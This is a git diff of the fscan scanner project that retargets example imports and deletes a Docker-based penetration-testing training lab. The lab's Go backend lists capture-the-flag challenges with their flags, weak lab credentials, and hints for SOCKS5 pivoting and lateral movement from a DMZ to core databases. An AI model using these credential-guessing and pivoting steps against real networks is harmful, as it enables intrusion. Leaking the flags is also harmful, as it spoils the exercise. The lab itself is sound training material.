t.Run("不存在的服务", func(t *testing.T) { diff --git a/examples/embed-agent/main.go b/examples/embed-agent/main.go index c1b3d156..92a5ee6f 100644 --- a/examples/embed-agent/main.go +++ b/examples/embed-agent/main.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - fscan "github.com/shadow1ng/fscan/pkg/fscan" + fscan "scanner/pkg/fscan" ) func main() { diff --git a/examples/embed-basic/main.go b/examples/embed-basic/main.go index 8951d51e..d3c940b8 100644 --- a/examples/embed-basic/main.go +++ b/examples/embed-basic/main.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - fscan "github.com/shadow1ng/fscan/pkg/fscan" + fscan "scanner/pkg/fscan" ) func main() { diff --git a/examples/embed-stream/main.go b/examples/embed-stream/main.go index 1911da6a..8eccf726 100644 --- a/examples/embed-stream/main.go +++ b/examples/embed-stream/main.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - fscan "github.com/shadow1ng/fscan/pkg/fscan" + fscan "scanner/pkg/fscan" ) func main() { diff --git a/fscan-lab/.gitignore b/fscan-lab/.gitignore deleted file mode 100644 index b62990af..00000000 --- a/fscan-lab/.gitignore +++ /dev/null @@ -1,29 +0,0 @@ -# fscan 二进制 -docker/attacker/fscan - -# 数据文件 -backend/data/*.json -flags/*.key -flags/*.pub - -# Node modules -frontend/node_modules/ -frontend/dist/ -frontend/.vite/ - -# Go -backend/api -*.exe -*.exe~ - -# Docker -.env - -# IDE -.idea/ -.vscode/ -*.swp -*.swo - -# Logs -*.log diff --git a/fscan-lab/README.md b/fscan-lab/README.md deleted file mode 100644 index b70939f2..00000000 --- a/fscan-lab/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# fscan-lab:内网渗透训练平台 - -基于Docker的五层网络架构渗透测试环境,用于学习和练习fscan工具在真实内网场景的应用。 - -## 快速开始 - -```bash -# 启动环境 -docker-compose up -d - -# 进入攻击者容器 -docker exec -it lab-attacker /bin/bash - -# 开始渗透(从DMZ区开始) -fscan -h 10.10.1.0/24 -``` - -## 网络拓扑 - -``` -外网(172.16.0.0/24) → DMZ(10.10.1.0/24) → 办公网(10.10.2.0/24) → 生产网(10.10.3.0/24) → 核心网(10.10.4.0/24) -``` - -## 目录说明 - -- `docker-compose.yml` - 完整环境配置(23个容器) -- `test-services/` - 单服务测试环境(28个服务) -- `docker/` - 网络服务配置 -- `backend/` - API服务(Go) -- `frontend/` - Web UI(React) - -## Web界面 - -- **训练平台**: http://localhost:3000 -- **API服务**: http://localhost:8888 - -## 管理命令 - -```bash -# 查看状态 -docker-compose ps - -# 停止环境 -docker-compose down - -# 完全清理 -docker-compose down -v -``` diff --git a/fscan-lab/backend/Dockerfile b/fscan-lab/backend/Dockerfile deleted file mode 100644 index 37e0ad9c..00000000 --- a/fscan-lab/backend/Dockerfile +++ /dev/null @@ -1,23 +0,0 @@ -FROM golang:1.20-alpine AS builder - -WORKDIR /build - -COPY go.mod go.sum* ./ -RUN go mod download || true - -COPY . . -RUN CGO_ENABLED=0 GOOS=linux go build -o api . - -FROM alpine:latest - -RUN apk add --no-cache ca-certificates - -WORKDIR /app - -COPY --from=builder /build/api /app/api - -RUN mkdir -p /app/data /app/flags - -EXPOSE 8888 - -CMD ["/app/api"] diff --git a/fscan-lab/backend/go.mod b/fscan-lab/backend/go.mod deleted file mode 100644 index 297ad477..00000000 --- a/fscan-lab/backend/go.mod +++ /dev/null @@ -1,37 +0,0 @@ -module fscan-lab-api - -go 1.20 - -require ( - github.com/gin-contrib/cors v1.7.0 - github.com/gin-gonic/gin v1.9.1 -) - -require ( - github.com/bytedance/sonic v1.11.2 // indirect - github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d // indirect - github.com/chenzhuoyu/iasm v0.9.1 // indirect - github.com/gabriel-vasile/mimetype v1.4.3 // indirect - github.com/gin-contrib/sse v0.1.0 // indirect - github.com/go-playground/locales v0.14.1 // indirect - github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.19.0 // indirect - github.com/goccy/go-json v0.10.2 // indirect - github.com/json-iterator/go v1.1.12 // indirect - github.com/klauspost/cpuid/v2 v2.2.7 // indirect - github.com/kr/text v0.2.0 // indirect - github.com/leodido/go-urn v1.4.0 // indirect - github.com/mattn/go-isatty v0.0.20 // indirect - github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect - github.com/modern-go/reflect2 v1.0.2 // indirect - github.com/pelletier/go-toml/v2 v2.1.1 // indirect - github.com/twitchyliquid64/golang-asm v0.15.1 // indirect - github.com/ugorji/go/codec v1.2.12 // indirect - golang.org/x/arch v0.7.0 // indirect - golang.org/x/crypto v0.21.0 // indirect - golang.org/x/net v0.22.0 // indirect - golang.org/x/sys v0.18.0 // indirect - golang.org/x/text v0.14.0 // indirect - google.golang.org/protobuf v1.33.0 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect -) diff --git a/fscan-lab/backend/go.sum b/fscan-lab/backend/go.sum deleted file mode 100644 index 538880fd..00000000 --- a/fscan-lab/backend/go.sum +++ /dev/null @@ -1,94 +0,0 @@ -github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= -github.com/bytedance/sonic v1.10.0-rc/go.mod h1:ElCzW+ufi8qKqNW0FY314xriJhyJhuoJ3gFZdAHF7NM= -github.com/bytedance/sonic v1.11.2 h1:ywfwo0a/3j9HR8wsYGWsIWl2mvRsI950HyoxiBERw5A= -github.com/bytedance/sonic v1.11.2/go.mod h1:iZcSUejdk5aukTND/Eu/ivjQuEL0Cu9/rf50Hi0u/g4= -github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= -github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= -github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d h1:77cEq6EriyTZ0g/qfRdp61a3Uu/AWrgIq2s0ClJV1g0= -github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d/go.mod h1:8EPpVsBuRksnlj1mLy4AWzRNQYxauNi62uWcE3to6eA= -github.com/chenzhuoyu/iasm v0.9.0/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= -github.com/chenzhuoyu/iasm v0.9.1 h1:tUHQJXo3NhBqw6s33wkGn9SP3bvrWLdlVIJ3hQBL7P0= -github.com/chenzhuoyu/iasm v0.9.1/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= -github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= -github.com/gin-contrib/cors v1.7.0 h1:wZX2wuZ0o7rV2/1i7gb4Jn+gW7HBqaP91fizJkBUJOA= -github.com/gin-contrib/cors v1.7.0/go.mod h1:cI+h6iOAyxKRtUtC6iF/Si1KSFvGm/gK+kshxlCi8ro= -github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= -github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= -github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg= -github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= -github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= -github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= -github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= -github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= -github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.19.0 h1:ol+5Fu+cSq9JD7SoSqe04GMI92cbn0+wvQ3bZ8b/AU4= -github.com/go-playground/validator/v10 v10.19.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= -github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= -github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= -github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= -github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= -github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= -github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= -github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= -github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= -github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= -github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= -github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/pelletier/go-toml/v2 v2.1.1 h1:LWAJwfNvjQZCFIDKWYQaM62NcYeYViCmWIwmOStowAI= -github.com/pelletier/go-toml/v2 v2.1.1/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= -github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= -github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= -github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= -golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= -golang.org/x/arch v0.7.0 h1:pskyeJh/3AmoQ8CPE95vxHLqp1G1GfGNXTmcl9NEKTc= -golang.org/x/arch v0.7.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= -golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= -golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= -golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc= -golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= -golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= -google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= -google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/fscan-lab/backend/main.go b/fscan-lab/backend/main.go deleted file mode 100644 index 65981c75..00000000 --- a/fscan-lab/backend/main.go +++ /dev/null @@ -1,551 +0,0 @@ -package main - -import ( - "encoding/json" - "fmt" - "log" - "net/http" - "os" - "strings" - "time" - - "github.com/gin-contrib/cors" - "github.com/gin-gonic/gin" -) - -type Challenge struct { - ID int `json:"id"` - Name string `json:"name"` - Description string `json:"description"` - Difficulty string `json:"difficulty"` - Points int `json:"points"` - Flag string `json:"flag"` - Hints []string `json:"hints"` - Network string `json:"network"` - Targets []string `json:"targets"` - Order int `json:"order"` // 渗透顺序 -} - -type Progress struct { - UserID string `json:"user_id"` - CompletedChallenges []int `json:"completed_challenges"` - TotalScore int `json:"total_score"` - StartTime time.Time `json:"start_time"` - LastUpdate time.Time `json:"last_update"` - SubmissionHistory []Submission `json:"submission_history"` -} - -type Submission struct { - ChallengeID int `json:"challenge_id"` - Flag string `json:"flag"` - Correct bool `json:"correct"` - Timestamp time.Time `json:"timestamp"` -} - -type NetworkNode struct { - ID string `json:"id"` - Name string `json:"name"` - IP string `json:"ip"` - Services []string `json:"services"` - Network string `json:"network"` - Status string `json:"status"` // unknown, discovered, compromised -} - -type NetworkTopology struct { - Nodes []NetworkNode `json:"nodes"` - Edges []NetworkEdge `json:"edges"` -} - -type NetworkEdge struct { - From string `json:"from"` - To string `json:"to"` - Access string `json:"access"` // allowed, blocked, vpn -} - -var challenges = []Challenge{ - { - ID: 1, - Name: "DMZ 侦察", - Description: "扫描 DMZ 区,发现 Web 服务器并获取第一个 flag", - Difficulty: "Easy", - Points: 100, - Flag: "FSCAN_LAB{w3b_f1ng3rpr1nt_d1sc0v3ry}", - Hints: []string{"扫描 10.10.1.0/24 网段", "寻找 Tomcat 服务", "flag 在 webapps/ROOT/flag1.txt"}, - Network: "dmz", - Targets: []string{"10.10.1.10"}, - Order: 1, // 第一步:外网扫描 DMZ - }, - { - ID: 2, - Name: "FTP 弱密码", - Description: "通过 FTP 弱密码进入 DMZ 区并获取 SSH 密钥", - Difficulty: "Easy", - Points: 150, - Flag: "FSCAN_LAB{ftp_w34k_p4ssw0rd_pwn}", - Hints: []string{"FTP 服务在 10.10.1.12", "尝试 admin/123456", "查看 .ssh 目录"}, - Network: "dmz", - Targets: []string{"10.10.1.12"}, - Order: 2, // 第二步:FTP 获取 SSH 密钥 - }, - { - ID: 3, - Name: "VPN 网关突破", - Description: "使用获取的 SSH 密钥连接 VPN 网关进入办公网。提供两种渗透方法:(1) 直接上传 fscan 到 VPN 网关扫描办公网;(2) 使用 SSH 动态端口转发建立 SOCKS5 代理,在 Attacker 机器上通过代理扫描。详见 /root/docs/penetration-guide.md", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{vpn_g4t3w4y_br34ch3d}", - Hints: []string{ - "使用 office_key 连接 10.10.1.13", - "VPN 网关有两个网卡:10.10.1.13(DMZ) 和 10.10.2.2(办公网)", - "flag 在 /etc/flag3.txt", - "方法1: scp fscan 到网关,然后 ssh 登录扫描", - "方法2: ssh -D 1080 建立SOCKS5隧道,fscan -socks5 127.0.0.1:1080 -np", - }, - Network: "dmz", - Targets: []string{"10.10.1.13"}, - Order: 3, // 第三步:进入办公网 - }, - { - ID: 4, - Name: "办公网备份服务器", - Description: "发现 Rsync 备份服务器并获取敏感文件", - Difficulty: "Medium", - Points: 250, - Flag: "FSCAN_LAB{rsync_b4ckup_l34k}", - Hints: []string{"扫描办公网 873 端口", "Rsync 可能未授权访问", "备份目录: rsync://10.10.2.22/backup"}, - Network: "office", - Targets: []string{"10.10.2.22"}, - Order: 7, // 办公网探索,获取 Redis 密码 - }, - { - ID: 5, - Name: "生产网 Redis 渗透", - Description: "利用 Redis 弱密码获取 flag 并准备横向移动", - Difficulty: "Hard", - Points: 300, - Flag: "FSCAN_LAB{r3d1s_un4uth0r1z3d_4cc3ss}", - Hints: []string{"从备份文件获取 Redis 密码", "连接 10.10.3.31", "GET flag5"}, - Network: "production", - Targets: []string{"10.10.3.31"}, - Order: 8, // 进入生产网 - }, - { - ID: 6, - Name: "核心网 MySQL 数据库", - Description: "爆破 MySQL 数据库获取敏感信息", - Difficulty: "Hard", - Points: 350, - Flag: "FSCAN_LAB{mysql_d4t4b4s3_pwn3d}", - Hints: []string{"从生产网扫描核心网 3306 端口", "尝试 root/Password", "SELECT flag FROM secrets.flags"}, - Network: "core", - Targets: []string{"10.10.4.40"}, - Order: 10, // 核心网数据库,获取 Mongo 凭证 - }, - { - ID: 7, - Name: "最终目标 - MongoDB", - Description: "攻陷 MongoDB 获取最终 flag,完成整个网络渗透", - Difficulty: "Expert", - Points: 500, - Flag: "FSCAN_LAB{y0u_pwn3d_th3_n3tw0rk}", - Hints: []string{"从 MySQL 获取 MongoDB 凭证", "连接 10.10.4.43", "查询 admin_secrets 集合"}, - Network: "core", - Targets: []string{"10.10.4.43"}, - Order: 13, // 最终目标 - }, - { - ID: 8, - Name: "Elasticsearch 情报收集", - Description: "利用 Elasticsearch 未授权访问获取生产网敏感信息", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{3l4st1cs34rch_un4uth0r1z3d}", - Hints: []string{"扫描生产网 9200 端口", "Elasticsearch 默认无认证", "GET /_cat/indices 查看索引"}, - Network: "production", - Targets: []string{"10.10.3.34"}, - Order: 9, // 生产网情报收集 - }, - { - ID: 9, - Name: "PostgreSQL 数据库渗透", - Description: "爆破 PostgreSQL 数据库获取业务数据", - Difficulty: "Hard", - Points: 300, - Flag: "FSCAN_LAB{p0stgr3s_d4t4b4s3_pwn3d}", - Hints: []string{"扫描核心网 5432 端口", "尝试 postgres/postgres123", "SELECT * FROM business.secrets"}, - Network: "core", - Targets: []string{"10.10.4.42"}, - Order: 11, // 核心网数据库探索 - }, - { - ID: 10, - Name: "MSSQL 数据库攻击", - Description: "攻破 MSSQL 数据库获取企业核心数据", - Difficulty: "Hard", - Points: 300, - Flag: "FSCAN_LAB{mssql_s4_4cc0unt_pwn3d}", - Hints: []string{"扫描核心网 1433 端口", "尝试 sa/P@ssword123", "SELECT * FROM master.dbo.secrets"}, - Network: "core", - Targets: []string{"10.10.4.41"}, - Order: 12, // 核心网数据库探索 - }, - { - ID: 11, - Name: "VNC 远程桌面入侵", - Description: "通过 VNC 弱密码获取办公网主机控制权", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{vnc_r3m0t3_d3skt0p_pwn3d}", - Hints: []string{"扫描办公网 5901 端口", "VNC 密码: password", "flag 在桌面 flag11.txt"}, - Network: "office", - Targets: []string{"10.10.2.20"}, - Order: 5, // 办公网探索 - }, - { - ID: 12, - Name: "老旧 Telnet 服务", - Description: "利用古老的 Telnet 服务获取办公网老旧主机访问权", - Difficulty: "Easy", - Points: 150, - Flag: "FSCAN_LAB{t3ln3t_l3g4cy_syst3m}", - Hints: []string{"扫描办公网 23 端口", "尝试 admin/admin", "cat /root/flag12.txt"}, - Network: "office", - Targets: []string{"10.10.2.24"}, - Order: 4, // 办公网探索 - }, - { - ID: 13, - Name: "打印机 SMB 共享", - Description: "发现办公网打印机的 SMB 共享服务,通过弱密码访问共享文件", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{smb_pr1nt3r_sh4r3_pwn3d}", - Hints: []string{"扫描办公网 445 端口 (SMB)", "用户名: printer, 尝试弱密码爆破", "共享名: print$ 或 backup"}, - Network: "office", - Targets: []string{"10.10.2.23"}, - Order: 6, // 办公网探索 - }, -} - -// networkTopology contains the network structure for visualization -var networkTopology = NetworkTopology{ - Nodes: []NetworkNode{ - {ID: "internet", Name: "Internet", IP: "172.16.0.0/24", Services: []string{}, Network: "internet", Status: "discovered"}, - {ID: "attacker", Name: "Attacker", IP: "172.16.0.2", Services: []string{"fscan"}, Network: "internet", Status: "compromised"}, - {ID: "web-dmz", Name: "Web DMZ", IP: "10.10.1.10", Services: []string{"Tomcat:8080"}, Network: "dmz", Status: "unknown"}, - {ID: "mail-dmz", Name: "Mail DMZ", IP: "10.10.1.11", Services: []string{"SMTP:25"}, Network: "dmz", Status: "unknown"}, - {ID: "ftp-dmz", Name: "FTP DMZ", IP: "10.10.1.12", Services: []string{"FTP:21"}, Network: "dmz", Status: "unknown"}, - {ID: "vpn-gateway", Name: "VPN Gateway", IP: "10.10.1.13/10.10.2.2", Services: []string{"SSH:22"}, Network: "dmz", Status: "unknown"}, - {ID: "pc-vnc", Name: "PC VNC", IP: "10.10.2.20", Services: []string{"VNC:5901"}, Network: "office", Status: "unknown"}, - {ID: "pc-ssh", Name: "PC SSH", IP: "10.10.2.21", Services: []string{"SSH:22"}, Network: "office", Status: "unknown"}, - {ID: "backup-server", Name: "Backup Server", IP: "10.10.2.22", Services: []string{"Rsync:873"}, Network: "office", Status: "unknown"}, - {ID: "printer", Name: "Printer", IP: "10.10.2.23", Services: []string{"SMB:445"}, Network: "office", Status: "unknown"}, - {ID: "oldpc-telnet", Name: "Old PC", IP: "10.10.2.24", Services: []string{"Telnet:23"}, Network: "office", Status: "unknown"}, - {ID: "app-web", Name: "App Web", IP: "10.10.3.30", Services: []string{"Tomcat:8080"}, Network: "production", Status: "unknown"}, - {ID: "cache-redis", Name: "Cache Redis", IP: "10.10.3.31", Services: []string{"Redis:6379"}, Network: "production", Status: "unknown"}, - {ID: "mq-rabbit", Name: "RabbitMQ", IP: "10.10.3.32", Services: []string{"RabbitMQ:5672,15672"}, Network: "production", Status: "unknown"}, - {ID: "mq-activemq", Name: "ActiveMQ", IP: "10.10.3.33", Services: []string{"ActiveMQ:61613,61614"}, Network: "production", Status: "unknown"}, - {ID: "search-es", Name: "Elasticsearch", IP: "10.10.3.34", Services: []string{"ES:9200"}, Network: "production", Status: "unknown"}, - {ID: "db-mysql", Name: "MySQL DB", IP: "10.10.4.40", Services: []string{"MySQL:3306"}, Network: "core", Status: "unknown"}, - {ID: "db-mssql", Name: "MSSQL DB", IP: "10.10.4.41", Services: []string{"MSSQL:1433"}, Network: "core", Status: "unknown"}, - {ID: "db-postgres", Name: "PostgreSQL DB", IP: "10.10.4.42", Services: []string{"PostgreSQL:5432"}, Network: "core", Status: "unknown"}, - {ID: "db-mongo", Name: "MongoDB", IP: "10.10.4.43", Services: []string{"MongoDB:27017"}, Network: "core", Status: "unknown"}, - {ID: "dc-ldap", Name: "Domain Controller", IP: "10.10.4.44", Services: []string{"LDAP:389,636"}, Network: "core", Status: "unknown"}, - }, - Edges: []NetworkEdge{ - {From: "attacker", To: "web-dmz", Access: "allowed"}, - {From: "attacker", To: "mail-dmz", Access: "allowed"}, - {From: "attacker", To: "ftp-dmz", Access: "allowed"}, - {From: "attacker", To: "vpn-gateway", Access: "allowed"}, - {From: "vpn-gateway", To: "pc-vnc", Access: "vpn"}, - {From: "vpn-gateway", To: "pc-ssh", Access: "vpn"}, - {From: "vpn-gateway", To: "backup-server", Access: "vpn"}, - {From: "vpn-gateway", To: "printer", Access: "vpn"}, - {From: "vpn-gateway", To: "oldpc-telnet", Access: "vpn"}, - {From: "backup-server", To: "cache-redis", Access: "allowed"}, - {From: "cache-redis", To: "db-mysql", Access: "allowed"}, - {From: "cache-redis", To: "db-mssql", Access: "allowed"}, - {From: "cache-redis", To: "db-postgres", Access: "allowed"}, - {From: "cache-redis", To: "db-mongo", Access: "allowed"}, - {From: "cache-redis", To: "dc-ldap", Access: "allowed"}, - }, -} - -// challengeToNodes maps challenge IDs to compromised node IDs -var challengeToNodes = map[int][]string{ - 1: {"web-dmz"}, // Flag 1: DMZ Web 服务器 - 2: {"ftp-dmz"}, // Flag 2: FTP 弱密码 - 3: 